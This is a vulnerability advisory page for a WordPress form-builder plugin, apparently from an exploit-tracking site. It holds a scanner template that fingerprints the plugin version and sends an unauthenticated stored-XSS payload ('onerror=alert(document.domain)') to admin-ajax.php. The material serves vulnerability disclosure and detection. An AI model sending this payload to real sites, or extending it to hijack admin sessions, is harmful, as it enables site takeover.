CVE-2026-10525: NEX-Forms Express WP Form Builder < 9.2.3 - Unauthenticated Stored XSS

2026-11-09 PoC Public

Description

NEX-Forms Express WP Form Builder plugin for WordPress before 9.2.3 is vulnerable to unauthenticated stored Cross-Site Scripting. The plugin registers a wp_ajax_nopriv_submit_nex_form handler for form submissions. Array-type field values are processed through rest_sanitize_array(), which only reindexes the array and performs no HTML sanitization, so markup is stored verbatim. When an administrator views the submitted entries, the stored payload renders without esc_html() escaping and executes arbitrary JavaScript in the admin's browser. Scalar fields are not affected (they are passed through strip_tags()).

Details

CVE
CVE-2026-10525 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-10525

info:
  name: NEX-Forms Express WP Form Builder < 9.2.3 - Unauthenticated Stored XSS
  author: sandiyochristan
  severity: high
  description: |
    NEX-Forms Express WP Form Builder plugin for WordPress before 9.2.3 is vulnerable to unauthenticated stored Cross-Site Scripting. The plugin registers a wp_ajax_nopriv_submit_nex_form handler for form submissions. Array-type field values are processed through rest_sanitize_array(), which only reindexes the array and performs no HTML sanitization, so markup is stored verbatim. When an administrator views the submitted entries, the stored payload renders without esc_html() escaping and executes arbitrary JavaScript in the admin's browser. Scalar fields are not affected (they are passed through strip_tags()).
  impact: |
    An unauthenticated attacker can inject persistent JavaScript that executes in an administrator's browser session when they view form entries, leading to admin session hijacking, rogue account creation, and full site takeover.
  remediation: |
    Update NEX-Forms Express WP Form Builder to 9.2.3 or later, which recursively sanitizes array field inputs (nf_recursive_sanitize).
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-10525
    - https://wpscan.com/vulnerability/d1e191e6-ff5b-4cb8-9b12-8ae73cf0d2f0/
    - https://wordpress.org/plugins/nex-forms-express-wp-form-builder/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    cvss-score: 8.8
    cve-id: CVE-2026-10525
    epss-score: 0.00512
    epss-percentile: 0.4394
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: basix
    product: nex-forms-express-wp-form-builder
    framework: wordpress
    publicwww-query: "/wp-content/plugins/nex-forms-express-wp-form-builder/"
  tags: cve,cve2026,wordpress,wp-plugin,wp,nex-forms,xss,stored,unauth,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/nex-forms-express-wp-form-builder/readme.txt HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: version
        part: body
        internal: true
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'

    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "< 9.2.3")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=submit_nex_form&nex_forms_Id=1&company_url=&email={{randstr}}@test.com&nf_xss[]=<img+src%3dx+onerror%3dalert(document.domain)>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'name="nf_entry_id"'
          - 'value='
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a00463044022040603aeb6a2707b8406ea25003fb9195d07c5c6d100d72ba3461d8c55ae1668602201eee5937a1240108fdaeadd14020024fbb1b222bd89a2f52836d31c4bbc38f1b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life